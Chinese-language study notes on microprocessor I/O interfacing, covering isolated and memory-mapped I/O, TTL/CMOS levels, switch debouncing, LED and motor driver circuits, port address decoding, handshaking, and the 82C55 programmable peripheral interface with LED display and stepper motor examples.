- 独立I/O(Isolated I/O):使用 IN 和 OUT 指令在微处理器的累加器(或内存)与I/O设备之间传输数据。
- 存储器映射I/O(Memory mapped I/O):任何涉及内存的指令都可以完成数据传送。
- 个人计算机(PC)采用的是独立I/O方式,而不是存储器映射I/O。
Isolated I/O¶
- 在Intel体系结构的系统中,最常用的I/O传输技术是独立I/O。
- "独立"指的是I/O地址空间与内存空间完全分离,各自独立。
- 独立I/O设备的地址(称为端口)与内存地址分开管理。
优点:
端口和内存地址分离,因此用户可以将内存空间全部用于存储,而无需腾出部分空间给I/O设备。
缺点:
- I/O与微处理器间的数据传输必须通过IN、INS、OUT、OUTS等专用指令完成。
- 需要专门的I/O控制信号(如用M/IO和W/R生成),以区分I/O读(IORC)和I/O写(IOWC)操作。
- 由于必须使用特殊的I/O指令,I/O操作整体上比存储器慢。编程相对复杂,需要专门的I/O操作指令。
Memory mapped I/O¶
- 存储器映射I/O不使用IN、INS、OUT或OUTS等专用I/O指令。
- 它允许任何可以在微处理器和内存之间传输数据的指令也可用于I/O操作。
优点:
- 由于I/O设备与内存同处于一块地址空间,CPU访问I/O与访问内存速度一致,实现更快的I/O操作。
- 编程简单,访问I/O设备与访问普通内存一样,无需特殊指令,指令统一。
缺点:
- I/O设备和内存共享同一地址空间,导致I/O地址空间受限。如果I/O设备数量过多,可能无法为所有设备分配足够的地址。
- 如果I/O设备响应较慢,可能会拖慢CPU对内存的访问速度,影响整体系统性能。
Personal Computer IO map¶
PC(个人计算机)将部分I/O地址空间分配给专用功能:
- 端口地址从 0000H 到 03FFH 的 I/O 区域保留给系统使用;
- 端口地址从 0400H 到 FFFFH 则可供用户使用。
PC 的 I/O 地址空间和存放内存中断向量表的那段内存有各自独立的寻址方式,互不重叠,所以不会互相占用或冲突。
Classification of Logic ICs¶
TTL(晶体管-晶体管逻辑,Transistor-Transistor Logic)逻辑电路
- 一种早期出现的双极型集成电路(IC)
- 驱动能力强,速度较高(5-10纳秒)
- 功耗较大
CMOS逻辑电路
- 功耗比TTL低
- 早期速度较慢(25-50纳秒)
- 现在速度已超过TTL
TTL Logic Levels¶
TTL(晶体管-晶体管逻辑)电路传统上使用5V电源供电,而与TTL兼容的CMOS器件则采用3.3V电源。
- TTL信号必须符合下述对逻辑“1”和逻辑“0”的电平规范:
Output 比 input 要严格0.4v
CMOS Logic Levels¶
- CMOS 支持多种电源电压范围 (如 5V、3.3V、1.8V)。
- CMOS 信号的“1”和“0”必须根据电源电压(VCC)满足特定的电平标准。一般规范如下:
Output 比 input 要严格 0.2 Vcc
Example
在进行连接时,需要注意,输出端的电压是否落在输入端的电压范围内。
例如这里吧TTL接在cmos,由于ttl的输出高电平最低可能是2.4,而cmos的输入高电平最低是3.5,所以无法正常工作。
反过来就可以。
Info
TTL 在现代设备中已经很少见:TTL 主要出现在一些老旧设备中(如 82C55、RS-232)。大多数现代接口(如 USB、PCIe)已不再使用 TTL 信号,这是因为 TTL 的功耗较大,且可扩展性有限。
CMOS 在新设计中占主导地位:低电压 CMOS 兼容性已成为现代接口的标准,原因在于其高效和易于扩展。
旧设备通常用电平转换器兼容:当需要 TTL 兼容时,会使用电平转换器或电压转换芯片,在 TTL 和 CMOS 逻辑电平之间进行桥接。
Interfacing Circuitry for input Devices¶
输入设备接口有两个主要注意事项:
- 当输入设备连接到微处理器时,应保证其TTL/CMOS兼容。
- 需要减少或消除输入设备上的噪声干扰。
例如,开关类设备:
- 机械开关本身并不是TTL/CMOS兼容的输入设备。需要通过适配电路将其转为TTL/CMOS兼容信号。
- 由于开关在按下或释放时会产生 “抖动”(bounce),导致触点瞬间多次导通和断开,因此需要对信号进行消抖处理。
展示了如何将一个拨动开关正确接入,作为输入设备使用:
- 当开关闭合时,其一端连接到地(GND),输出为有效的逻辑0电平。
- 在开关断开(开路)时,通过上拉电阻(pull-up resistor),输出信号保持为逻辑1电平。
常用的上拉电阻阻值在1K欧姆到10K欧姆之间。
机械开关在按下或释放时总会产生噪声(抖动现象)。
为了解决这种抖动带来的问题,有多种消抖方法可供选择:
- 使用双刀开关并配合触发器(flip-flop)
- 使用双刀开关配合反相器(NOT门)
- 低通滤波器加施密特触发器(schmitt trigger)
- 多级移位寄存器进行采样
- 软件延时采样消抖
当来自开关的 Q 输入变为逻辑0时,它会改变触发器的状态,如果开关触点因抖动而离开 Q 输入,触发器会保持稳定,状态不会改变,因此消除了抖动现象。
(a)利用了两个与非门(NAND Gates, 74LS00)组成的 SR 锁存器。
- 一个 SPDT(单刀双掷)开关。
- 两个 上拉电阻(1K ):确保当开关悬空时,输入端为高电平 (Logic 1)。
- 两个 与非门:交叉连接形成 SR 锁存器。
工作原理:
- 静止状态:假设开关接在上面 (S)。此时 S 端接地(输入 0), R 端通过电阻上拉(输入 1)。根据 SR 锁存器逻辑(低电平有效),输出置位 (Set)为 1。
- 切换过程:当拨动开关向下时,开关首先离开上面的触点。
-
抖动的发生:
- 开关在离开上触点和接触下触点的中间过程(或者在接触瞬间弹开),开关处于“悬空”状态。
- 此时,S 和 R 都通过电阻接 VCC ,即高电平。
- 对于 SR 锁存器,输入 (1, 1) 是 “保持” (Hold/Memory) 状态。电路会维持上一次的状态不变。
-
接触新触点:当开关最终触碰到下面 (R) 时, R 变为 0, S 为 1。锁存器被 复位 (Reset), Q 变为 0。
- 下触点抖动:如果开关在下触点发生弹跳(接触-断开-接触),电路会在“复位 (0,1)”和“保持 (1,1)”之间切换。因为“保持”状态就是保持刚才的“复位”结果,所以输出一直稳定为 0,不会出现抖动。
(b) 利用两个NOT Gates 首尾相连,形成一个双稳态电路(Bistable Circuit),也就是一个最基础的存储单元(类似于 SRAM 的核心)。
- 一个 SPDT 开关。
- 两个 反相器:Pin 2 接 Pin 3,Pin 4 接 Pin 1,形成反馈环路。
工作原理:
- 反馈锁定:电路由两个NOT Gates 首尾相连,第一个NOT Gate 的输出(Pin 2)接到第二个的输入(Pin 3),第二个NOT Gate 的输出(Pin 4)又回馈到第一个的输入(Pin 1),形成一个闭环。如果输入为 1,经过两级反相后又回到 1。这样,电路能“锁住”自身状态(0 或 1),即使输入端暂不变。
- 开关强制覆盖:开关直接连接至输入端(Pin 1)。当开关接地时,由于其低阻抗(近似为 0),它可以强制将输入电压拉低到 0,有效覆盖反馈信号。
- 消抖过程:开关将输入拉低为 0 时,经过两次反相,输出 \(Q\) 为 0;此时电路状态已被“写入”。
- 抖动产生时:当开关因弹跳暂时断开(悬空),不再有强制拉低信号,反馈环路立即“接管”控制,维持原来的输出电平(状态),使电路在抖动期间输出不会改变。
- 状态翻转:只有当开关拨到另一端、输入端被施加相反电平时,反馈环才会“更新”状态,输出才发生翻转。
使用低通滤波器和施密特触发器消抖。
开关通常会抖动 5-10 毫秒。
- 消抖可以通过将信号接入多级移位寄存器实现。
- 连接一个 100 Hz (0.01s变一次) 的时钟,每 10 毫秒对信号采样一次。
- 当所有采样值均为高电平时,SR 触发器被置位;当所有采样值均为低电平时,SR 触发器被复位。
Interfacing Circuitry for output Devices¶
输出设备比输入设备更加多样,但它们的接口方式通常较为统一。
- 与输出设备接口时,需要匹配设备与微处理器之间的电压和电流特性。
-
微处理器的输出电压通常符合 TTL 标准:
- 逻辑 0 = 0.0 V 到 0.4 V
- 逻辑 1 = 2.4 V 到 5.0 V
-
微处理器及许多接口元件的电流能力低于标准 TTL 。
- 逻辑 0 = 0.0 到 2.0 mA
- 逻辑 1 = 0.0 到 400 μA
-
下图展示了两种为点亮 LED 提供足够电流(10 mA)的方法:
- (a) 用三极管驱动
- (b) 用 TTL 反相器
(b): 使用 TTL 反相器 (7404)这是一个相对简单的电路。TTL 反相器在这里充当电流“吸入”端 (Current Sink)。逻辑:当输入为 1 时,反相器输出 0 (低电平,接近 0V),电路导通,LED 点亮。电流路径:\(V_{CC} (5\text{V}) \rightarrow \text{LED} \rightarrow \text{电阻} \rightarrow \text{反相器输出引脚} \rightarrow \text{地}\)。
计算步骤:
- 电源电压 (\(V_{CC}\)):\(5\text{ V}\)。
- LED 压降 (\(V_{LED}\)):\(2.0\text{ V}\) (这是红光/绿光 LED 的典型值)。
- 电阻上的电压 (\(V_R\)):剩下的电压全部由电阻承担。
- 确定目标电流:题目给定 LED 需要电流 \(I = 10\text{ mA} = 0.01\text{ A}\)。
- 欧姆定律计算电阻:
-
结果:计算结果是 \(300\ \Omega\)。图中选择使用了 \(330\ \Omega\) 的电阻,因为 \(330\ \Omega\) 是最接近 \(300\ \Omega\) 的标准电阻阻值(E12系列)。
-
标准版本的 TTL 反相器在逻辑 0 状态下可提供高达 16 mA 的电流,
- 足以驱动标准 LED。
(a) 中,我们选择用开关三极管代替 TTL 缓冲器。
这个电路比 TTL 反相器稍复杂,因为三极管本质上是一个电流放大器。我们重点要计算的是基极电阻(Base Resistor)。
工作原理:
- CPU 输出高电平\(\rightarrow\)基极获得电流\(\rightarrow\)三极管导通\(\rightarrow\)LED 亮。
参数设置:
- 三极管放大倍数(增益, \(\beta\)):\(100\)
- CPU 高电平输出电压:\(V_{OH} = 2.4\text{ V}\)(取标准 TTL 最小输出高电平)
- 三极管基极-发射极压降:\(V_{BE} = 0.7\text{ V}\)(硅管通用值)
-
目标集电极电流(LED 工作电流):\(I_C = 10\text{ mA}\)
-
计算基极电流 \(I_B\)
三极管公式:\(I_C = \beta \times I_B\)
$$ I_B = \frac{I_C}{\beta} = \frac{10\,\text{mA}}{100} = 0.1\,\text{mA} $$
- 计算基极回路电阻 \(R\)
基极回路路径:CPU输出 \(\rightarrow\) 电阻 \(\rightarrow\) 基极 \(\rightarrow\) 发射极(地)
电阻上的电压降:
$$ V_R = V_{in} - V_{BE} = 2.4\,\text{V} - 0.7\,\text{V} = 1.7\,\text{V} $$
欧姆定律计算电阻:
$$ R = \frac{V_R}{I_B} = \frac{1.7\,\text{V}}{0.1\,\text{mA}} = \frac{1.7\,\text{V}}{0.0001\,\text{A}} = 17{,}000\,\Omega = 17\,\text{k}\Omega $$
计算结果为 \(17\,\text{k}\Omega\),但因为标准阻值只有 \(18\,\text{k}\Omega\),所以实际选用 \(18\,\text{k}\Omega\)。
Info
假设我们需要让微处理器控制一个 12V 直流、1A 的电机。
- 不能直接用 TTL 反相器:
- 12V 的信号会烧坏反相器
- 电流也远远超过了反相器16mA的最大提供能力
- 也不能直接用 2N2222 三极管:
- 其最大电流只有250mA到500mA(取决于封装),达不到要求
- 解决办法是用达林顿对(Darlington Pair)器件,比如 TIP120:
- 价格大约 0.25 美元,有散热装置时可以承受 4A 电流
达林顿对必须配备散热片,以应对大电流带来的发热。必须并联二极管,以防止达林顿对被感性负载的反向电动势(感应反冲电流)损坏。
这里的计算过程类似,经过两次压降,电流放大系数为 7000,所以加在电阻的电压为\(2.4-0.7-0.7=1V\),所以电阻为\(1V/1A/7000=7K\Omega\),所以选择\(7K\Omega\)接近的\(6.2K\)电阻。
Basic input output interfaces¶
Quote
- “IN”指的是将数据从I/O设备传送到微处理器中。
- “OUT”指的是将数据从微处理器输出到I/O设备。
- 最基本的输入设备是连接到数据总线的一组三态缓冲器。
- 最基本的输出设备是用于存储来自数据总线数值的一组锁存器。
Basic Input interfaces¶
三态缓冲器被用于构建如图所示的 8 位输入端口。 - 外部 TTL 信号连接到缓冲器的输入端,缓冲器的输出端则连接到数据总线。 - 当选择信号为逻辑 0 时,该电路允许处理器读取与数据总线任意 8 位相连的八个开关的状态。
基本输入接口示意了八个开关的连接方式。需要注意的是,74ALS244 是一种三态缓冲器,用于控制开关数据向数据总线的传送。
当执行 IN 指令时,开关的内容会被复制到 AL 寄存器中。
- 这种基本输入电路是必需的,只要需要将输入数据与微处理器连接时,都必须使用。
- 有时它作为电路的独立部分出现,如图所示,
- 有时则集成在可编程 I/O 设备中。
- 也可以连接 16 位或 32 位数据,但远没有 8 位数据常见。
Basic Output interfaces¶
接收来自处理器的数据,并且通常需要为外部设备保持这些数据。
- 锁存器或触发器(类似于输入设备中的缓冲器)通常集成在I/O设备内部。
- 图展示了如何通过八个数据锁存器,将八个发光二极管(LED)与处理器连接。
- 锁存器用于存储微处理器从数据总线输出的数值,因此LED能以任意8位二进制数点亮。
基本输出接口连接到一组LED显示器。注意,74ALS374是一个八位锁存器,用于存储从数据总线输出的数值。
锁存器能够保持数据,这是因为当处理器执行 OUT 指令时,数据只会在数据总线上保持不到 1.0 微秒——人眼几乎无法看到 LED 被点亮。
当执行 OUT 指令时,AL、AX 或 EAX 中的数据会通过数据总线传送到锁存器。 每当 OUT 指令执行时,SEL 信号会被激活,将数据锁存到锁存器中,直到下一次 OUT 指令执行为止。 当输出指令被执行后,AL 寄存器中的数据就会显示在 LED 上。
Asynchronous Data Transfer¶
CPU 和 I/O 设备往往有各自独立的时钟,且这些时钟并不同步。因此,这些部件彼此之间被认为是“异步”的。
在两个独立单元之间进行异步数据传输,主要有两种方法:
- 掐脉冲(strobing,使用一根控制信号线)
- 握手(handshaking,使用两根控制信号线)
Strobing¶
脉冲(strobe)是一种同步信号,用于指示数据传输的开始和结束。
- 脉冲信号可以由数据源单元或目的单元激活。
- 基于脉冲信号进行异步数据传输有两种基本方式:
- 源发起的传输(source-initiated transfer)
- 目的端发起的传输(destination-initiated transfer)
在源端发起的传输中:
- 源设备首先将数据放到数据总线上,然后将脉冲信号(strobe)由0变为1;
- 目的设备将数据传输到寄存器中;
- 源设备再将脉冲信号由1变为0;
- 源设备从数据总线上移除数据。
在目的端发起的传输中:
- 目的设备将脉冲信号(strobe)由0变为1;
- 源设备将数据放到数据总线上;
- 目的设备将数据传输到寄存器中,并将脉冲信号由1变为0;
- 源设备从数据总线上移除数据。
Summary
Strobe(掐脉冲)方式进行数据传输虽然简单,但存在以下几个缺点:
- 数据必须在总线上保持有效且持续足够长的时间,才能确保目的端能够接收;
- 目的端是否真正捕获到数据,源端无法得知;
- 当存在多个速度不同的部件时,数据传输的速度取决于速度最慢的那一个。
Handshaking¶
Handshaking(握手)方式通过引入第二根控制信号作为响应信号,弥补了掐脉冲方式的问题。该响应信号用于对发起传输的单元进行回复,从而提升了可靠性和灵活性。
两根信号线的握手式数据传输的基本原理如下:
- 一根控制线(请求,Request)由发起方单元用来向另一方请求响应;
- 第二根控制线(应答,Reply)由被请求方用来回复发起方,表示响应正在进行。
这两根握手信号线分别称为 Request(请求)和 Reply(应答)。 通过这种方式,每个单元都能向对方通报自身状态,从而实现总线上的有序数据传输。
在源端发起的传输过程中:
- 源端首先将数据放到数据总线上,并使能请求(request)信号;
- 目的端完成传输准备后激活应答(reply)信号;
- 源端移除数据并复位请求信号;
- 目的端复位应答信号。
在目的端发起的数据传输过程中:
- 目的端通过使能请求(request)信号来发起传输;
- 源端将数据放到数据总线上,并激活应答(reply)信号;
- 目的端获取数据后复位请求信号;
- 源端移除数据并复位应答信号。
下面这个例子说明了计算机通过数据线(D7–D0)向打印机传输数据的过程:
- ASCII数据被放置在D7–D0线上,然后在\(\overline{STB}\)连接线上施加一个脉冲。
- \(\overline{STB}\)是一种时钟脉冲,用于将数据发送到打印机。
- \(BUSY\)表示打印机正处于忙碌状态。
- strobe信号(request)将数据送入打印机,以便进行打印。
- 当打印机接收数据时,会在\(BUSY\)引脚上输出一个逻辑1(应答),表明打印机正在打印数据。
软件会轮询或检测 BUSY 引脚,以判断打印机是否处于忙状态。
- 如果打印机正忙,处理器就会等待;
- 如果打印机不忙,下一个 ASCII 字符就会被送入打印机。
这种对打印机或其他类似异步设备的轮询过程,被称为握手(handshaking)或查询(polling)。
Port Address Decoding¶
I/O 设备选择:
- 通过对地址进行译码,在总线上产生与设备地址对应的唯一信号。
- 当设备地址信号和控制信号(\(\overline{IORC}\) 或 \(\overline{IOWC}\))均为低电平时,生成设备选通信号(Device Select)。
- 通过设备选通信号来激活输入输出接口。
I/O 设备接口包括如下内容:
- 选择 I/O 端口,即 I/O 端口地址译码
- 在 I/O 端口与微处理器之间进行数据传送
关于 I/O 端口地址译码:
- 存储映射 I/O(memory-mapped I/O)方案使用和内存相同的地址进行译码。
- 隔离 I/O(isolated I/O)译码方案只将较少的地址引脚连接到译码器,并产生独立的控制信号(如 I/O 读 \(\overline{IORC}\) 或 I/O 写 \(\overline{IOWC}\))来激活 I/O 设备。
Decoding 8-bit I/O Port Addresses¶
固定I/O指令使用8位I/O端口地址,对应A15–A0信号线上的0000H–00FFH。在8位I/O端口地址的译码中,通常只译码地址线A7–A0。
DX寄存器也可以寻址00H–FFH范围内的I/O端口。如果地址被译码为8位地址,那么就无法包括使用16位地址的I/O设备。PC(个人计算机)从不使用或译码8位地址。
G口是使能端,A0,A1,A2是地址选择线
图显示了一个74ALS138译码器,它用于译码8位I/O端口地址F0H到F7H。其工作方式与内存地址译码器相同,只不过输入端只接入地址线A7–A0。
- 图展示了使用GAL22V10(一种低成本可编程逻辑器件,PLD)的译码器版本。
- 使用PLD后的译码器设计更加优越,因为所需的集成电路数量被缩减为仅一个器件。
Decoding 16-bit I/O Port Address¶
PC 系统通常使用 16 位 I/O 地址。
- 在嵌入式系统中,16 位地址较为罕见。
- 8 位 I/O 地址译码与 16 位 I/O 地址译码的区别在于,后者需要额外译码八根地址线(A15–A8)。
- 下图展示了一个由 PLD(可编程逻辑器件)和一个四输入 NAND 门组成的电路,用于译码 I/O 端口 EFF8H–EFFFH。
- PLD 用于为 I/O 端口生成地址选通信号。
8 and 16 bit wide I/O Ports¶
I/O 空间的组织方式与存储系统类似,采用分组(banks)结构,以支持单字节传输或非对齐的内存访问。
- 例如,in AL, 40H 和 in AL, 41H
-
又如,out 40H, AL 和 out 41H, AL
-
这种微处理器的 I/O 系统包含两个 8 位存储分组(memory banks)。类似于内存的分组选择方式,任何 8 位 I/O 写请求都需要单独的写选通信号(\(\overline{BHE}\) 和 \(\overline{BLE}\))
- 但读请求则不需要
在像80386SX这样的16位处理器中,传输到8位I/O设备的数据会存在于某一个I/O存储分组(bank)中。
图展示了针对16位系统(如80386SX)而设置的分开的I/O存储分组。
I/O 读操作不需要单独的选通信号(strobe)。
就像对内存的读取一样,处理器只读取它期望的那个字节,忽略其他字节。
但是,如果某些 I/O 设备对读操作响应不正确,读取可能会导致问题。
图展示了一个包含两个 8 位输出设备的系统,分别位于 40H 和 41H。这些都是 8 位设备,分布在不同的 I/O 存储分组中。因此,输出数据时需要产生独立的 I/O 写信号,用于对一对锁存器进行时钟控制,把数据锁存到对应的端口。
图展示了一个16位设备,连接在8位地址64H和65H处工作。 - PLD译码器没有连接地址位BLE(A0)和BHE信号,因为这些信号并不适用于16位宽的设备。 - 展示的PLD程序,演示了如何为用作输入设备的三态缓冲器(74HCT244)生成使能信号。
32 bit wide I/O Ports¶
由于计算机系统中越来越多地采用新型总线,32位I/O端口可能会逐步普及。
- EISA系统总线、VESA本地总线以及当前的PCI总线都支持32位I/O操作。
- 尽管如此,目前实际上很少有I/O设备本身是32位宽的。
- 图展示了面向80386DX和80486DX微处理器的32位输入端口电路。
- 该电路使用一个PLD进行I/O端口地址译码,并用四个74HCT244缓冲器将I/O数据连接到数据总线。
THE PROGRAMMABLE PERIPHERAL¶
82C55 可编程外围接口(PPI)是一种常见、低成本的接口元件,被广泛应用于各类场合。
- 该 PPI 提供 24 个 I/O 引脚,可以以每组 12 个引脚编程控制,并可在三种不同的操作模式下工作。
- 82C55 能将任何与 TTL 兼容的 I/O 设备与微处理器连接。
- 82C55(CMOS 版本)如果与主频超过 8 MHz 的处理器配合工作,则需要加入等待状态(wait state)。
- 每个输出至少能输出 2.5mA 的下拉(逻辑 0)电流,最大可达 4.0mA。
- 由于 I/O 设备本质上速度较慢,I/O 传输时加入的等待状态对系统整体速度的影响并不大。
- 82C55 即使在最新的 Core2 架构计算机系统中,仍然有应用案例。
- 在许多 PC 里,82C55 被用于连接键盘和并行打印机端口。
- 它作为芯片组中的一个功能模块出现;
- 还可用于控制定时器,并从键盘接口读取数据。
- 有一种实验板卡,可以插入 PC 的并行端口,以便访问板卡上的 8255。
- 8255 可通过随实验板提供的驱动程序,在汇编或 Visual C++ 中编程使用。
Basic Description of the 82C55¶
上图展示了82C55在DIP封装和表面贴装(扁平封装)形式下的引脚分布。
- 这三组I/O端口(标记为A、B和C)是分组编程的。
- A组连接包括A端口(PA7–PA0)和C端口的高四位(PC7–PC4)。
- B组连接包括B端口(PB7–PB0)和C端口的低四位(PC3–PC0)。
- 通过芯片选择(CS)引脚对82C55进行选中,以实现对各端口的编程、读写操作。
Note
记忆方式
- Group A: Port A + Port C 的 Above (PC7–PC4)
- Group B: Port B + Port C 的 Below (PC3–PC0)
- 上表展示了编程和访问I/O端口时所用的I/O端口分配。
- 在PC中,一对82C55芯片(或等效芯片)被映射到I/O端口60H–63H,用于控制键盘、定时器或扬声器等,同时也被映射到端口378H–37BH,用于并行打印机接口。
- 82C55是一种与微处理器接口和编程都相对简单的设备。
- 要对82C55进行读/写操作,CS引脚必须为逻辑0,并且必须在A1和A0引脚上施加正确的I/O地址。
- 剩余的端口地址引脚无关紧要(don’t care)。
Basic Functional Description of the 82C55¶
PortA、B、C
- PortA:一个数据输出锁存器/缓冲器(latch/buffer)和一个数据输入锁存器(latch)
- PortB:一个数据输入/输出共用的锁存器/缓冲器(latch/buffer)和一个数据输入缓冲器(buffer)
- PortC:一个数据输出锁存器/缓冲器(latch/buffer)和一个数据输入缓冲器(buffer)
Group A and Group B
- Group A:包含端口A和端口C的高4位(PC7~PC4)
- Group B:包含端口B和端口C的低4位(PC3~PC0)
Modes 0, 1, 2
- Mode 0:基本输入/输出操作(Group A and Group B均可用)
- Mode 1:Strobe输入/输出操作(Group A and Group B均可用)
- Mode 2:双向总线操作(仅Group A支持)
Port C有单比特置位/复位功能(在Mode 1和Mode 2下)
Basic Mode Definitions And Bus Interface¶
| 模式 | 名称 | 关键特点 | Port C 的作用 |
|---|---|---|---|
| Mode 0 | 基本 I/O | 简单、无条件传输 | 两个独立的 4 位数据端口 |
| Mode 1 | 选通 I/O | 带有“握手”信号 (Ready/Ack) | 变成 A 和 B 的控制信号线 |
| Mode 2 | 双向总线 | 仅 Port A 可双向传输 | 其中五条变成 Port A 的复杂控制线 |
展示了一个82C55芯片连接到80386SX,使其分别在8位地址C0H(端口A)、C2H(端口B)、C4H(端口C)和C6H(命令寄存器)下工作。
该接口使用了I/O映射的低位段。
- 除了CS引脚外,82C55的所有引脚都与80386SX直接相连。CS引脚通过一个74ALS138译码器进行译码/选择。
- 82C55在RESET复位信号作用下,会将所有端口初始化为模式0的简单输入端口。
- 设备会在处理器复位时被初始化。
Note
通过A1和A2引脚来选择不同的Port,其它6位地址线用于产生\(\overline{CS}\)信号。
- 在RESET之后,只要三个端口都作为输入设备使用,则无需其他指令进行配置。
- 82C55与PC连接时,常用于地址60H–63H,用于键盘控制,
- 同时还可用于控制扬声器、定时器及其他内部设备(如内存扩展)等。
- 也常见于并行打印端口的I/O地址段378H–37BH。
Programming the 82C55¶
82C55的编程通过其内部的两个命令寄存器来实现(command registers),如图所示。
- 第7位比特用于选择命令字A或命令字B。
- 命令字A用于设置Group A和Group B的功能模式。
- 命令字B仅在82C55工作于模式1或2时,用于单独置位(1)或复位(0)Port C的各个位。
-
Group B只能工作在模式0或模式1,而Group A可工作在模式0、1和2。
-
Group A(即端口A和端口C的高四位)可被设置为输入引脚或输出引脚。
- 如果在命令字的第7位写入0,则选择命令字B。
- 这使得当82C55工作在模式1或模式2时,可以单独设置(1)或复位(0)端口C的任意一位。
- 否则,该命令字(B)不会用于配置。
- 在操作该器件前,应向控制字寄存器写入合适的控制字(命令字B)
Example
- 配置示例:
- Group A和Group B都设置为模式0
- 端口A和端口B作为输出
- 端口C高四位(PC7-PC4)作为输出
- 端口C低四位(PC3-PC0)作为输入
Mode 0 Operation¶
- 在模式0下,82C55的功能如下:
- 作为带缓冲的输入设备
- 作为锁存的输出设备
- 模式0使82C55工作为基本的输入端口或输出端口,不需要任何控制信号(如中断请求)。
- 所有24位可作为两个8位端口和两个4位端口使用。
A LED Display Interface to the 82C55¶
端口A和端口B被编程为(模式0)简单的锁存输出端口:
- 端口A为数码管(7段显示)提供数据输出;
- 端口B用于选择具体的显示位,实现数码管多路复用。
82C55通过PLD与8088连接,I/O端口地址为0700H–0703H。PLD对I/O地址进行译码,并为82C55的WR引脚产生写选通信号。
图中的电阻值是为了使每个数码管段的电流为80mA而选择的。这是为了在数码管轮流(动态扫描)点亮时,每个段的平均电流为10mA。
六位数码管和八位数码管分别指的是由6个或8个7段数码管组成的显示模块,常用于数码显示器,如电子时钟、仪表等。每个数码管通常包含7个基本发光段(用来显示“8”),加上一个小数点(部分情况下不用),所以我们一般说“七段数码管”。这7个段以不同方式组合,可以表示0~9及部分字母。为什么涉及到“7个段”?因为同一时刻,每一位可能需要点亮1到7个段,所以电流计算常以“7个段全部点亮”的最大值为依据。例如,八位数码管显示时,若每段电流为80mA,则峰值阳极电流为7段×80mA=560mA。若为六位数码管,每段60mA,则峰值是7×60mA=420mA。电阻选择方面,限流电阻上的压降约为3.0V,若通过80mA电流时,计算得3.0V÷80mA=37.5欧,通常取最接近标准值39欧姆。
编程82C55的方法如所示,只需一小段指令即可实现。端口A和端口B均被编程为输出。在用软件操作显示器前,必须首先对82C55进行编程。端口A和端口B都要设置为输出。
下面是选择8位数码管的代码
A Stepper Motor Interface to the 82C55¶
另一种常常与计算机系统接口的器件是步进电机(Stepper Motor)。—— 它是一种“数字电机”,因为它通过离散的步距分阶段转动完成360°旋转。
- 步进电机将电子信号转化为机械运动,每当有输入脉冲时,电机会随之转动。
- 每一个脉冲都会使电机轴以固定的步进量转动。
步进电机的励磁方式
- 一种成本低廉的步进电机每步可带动轴旋转约15°。
- 一种成本较高、高精度的步进电机则可达到每步1°。
- 步进电机常用的三种励磁方式有:
- 整步(Full-step)
- 半步(Half-step)
- 微步(Micro-step)
Full-step Excitation Modes¶
全步(Full-step)驱动方式有两种类型:单相激励和双相激励。
- 单相激励方式下,每次仅有一相通电,电机运转时始终只有一相线圈得电。这种方式的驱动电路功耗最低。
- 双相激励方式下,每次有两相同时通电,电机运转时两相线圈同时得电。该方式可以获得更大的转矩与更好的速度性能。
Half-step Excitation Modes¶
半步激励模式是单相导通和双相导通全步模式的结合。
- 这种方式能够实现基本步进角的一半,因此步距角更小,从而提高了分辨率,使电机运行更加平稳。
- 半步激励产生的转矩比双相导通全步激励要小,不过通过增加施加在电机上的电流,可以消除这种转矩下降的现象,被称为改进型半步激励。
Example
有一个三相步进电机。它有3个由位0、1和2控制的磁极,其它位(3-7)未使用。通过向I/O端口7发送数据来控制步进电机。
- 下列代码完成顺时针方向的三个半步:
Micro-step Excitation Modes¶
微步驱动模式是所有步进方式中最复杂的一种。微步控制是指施加到每个绕组上的电流值按照某种数学函数比例变化,从而实现一个全步内的若干分步,使电机能够实现高精度的细分运动。
该电机由NPN达林顿功放对驱动,以为每个线圈提供较大的电流。
- 能够驱动该步进电机的电路如图所示。
- 图中显示了四个线圈的位置
- 电路以全步模式工作
- 该电路通过82C55芯片提供驱动信号,用于控制电机转子向右或向左旋转。
在双相全步模式下,当前位置存储在内存单元 POS 中,POS 必须初始化为 33H、66H、0CCH 或 99H。
- 这允许通过简单的 ROR(右移一步)或 ROL(左移一步)指令来旋转二进制位模式,以实现下一步。
- 步进电机也可以在半步模式下运行。一个完整的半步顺序包含八个步骤,依次为:11H、33H、22H、66H、44H、0CCH、88H 和 99H。
CX寄存器用于保存步进次数和旋转方向。
- 如果CX大于8000H,电机按顺时针(右转)方向旋转;
- 如果CX小于8000H,电机按逆时针(左转)方向旋转。
例如,步进次数为0003H时,电机向左移动三步;如果为8003H,则电机向右移动三步。
Mode 1 Strobed input¶
在82C55模式1中,选定端口进行输入/输出操作时,会用到选通信号(strobe)、中断和其他“握手”信号。
-
在模式1下,C口并不用于数据传输,而是用作控制或握手信号,以协助A口和B口作为带选通输入端口进行操作。
-
该模式对A组和B组都适用。
Signal Definitions for Mode 1 Strobed Input¶
\(\overline{STB}\):选通信号输入将数据加载到端口锁存器中,数据会被保持,直到通过 IN 指令输入到微处理器。
\(IBF\):输入缓冲区满。该输出信号指示输入锁存器中已经有信息。
\(INTR\):中断请求,该输出信号用于请求一次中断。
- 当INTE为“1”、STB为“1”且IBF为“1”时,INTR被置位(变为“1”)。
- 当处理器从端口读取数据后,INTR被清除。
\(INTE\):中断允许信号,既不是输入也不是输出信号,而是通过端口PC4(对应A口)或PC2(对应B口)的位置位进行编程设置的内部位。
Info
- C口的第7和第6引脚是通用输入/输出(I/O)引脚,可用于任意用途。
Reading Port C Status¶
当C口在模式1中作为控制信号使用时,各种控制信号和总线状态信号的当前状态可以通过读取C口的内容获得。
- 通过读取C口内容,程序可以检测或判断各外设的“状态”,并据此改变程序流程。
Example
选通输入设备的一个例子是键盘。
- 键盘编码器对按键进行消抖处理,并在有按键按下且数据输出包含ASCII码时,产生一个选通信号(\(\overline{DAV}\),数据有效)。
- \(\overline{DAV}\)每次被激活 1.0 微秒,并连接到A口的\(\overline{STB}\)输入端。这会导致数据被锁存到A口,同时还会激活IBF信号。
Mode 1 Strobed Output¶
图显示了82C55在模式1作为选通信号输出设备时的内部结构和时序图。
- 选通信号输出(strobed output)操作与模式0的输出操作基本类似,
- 不同之处在于增加了用于握手的控制信号。
- 当数据写入选通信号输出端口时,输出缓冲区满信号变为逻辑0,以表示端口锁存器中已有数据。
Signal Definitions for Mode 1 Strobed Output¶
\(\overline{OBF}\):输出缓冲器满信号。当数据被输出(OUT)到A口或B口锁存器时,该信号变为低电平。当前端设备返回确认(\(\overline{ACK}\))脉冲后,该信号被置为高电平。
\(\overline{ACK}\):应答信号,会使OBF引脚恢复为高电平。ACK信号来自外部设备,用于表示它已经从82C55端口接收到数据。
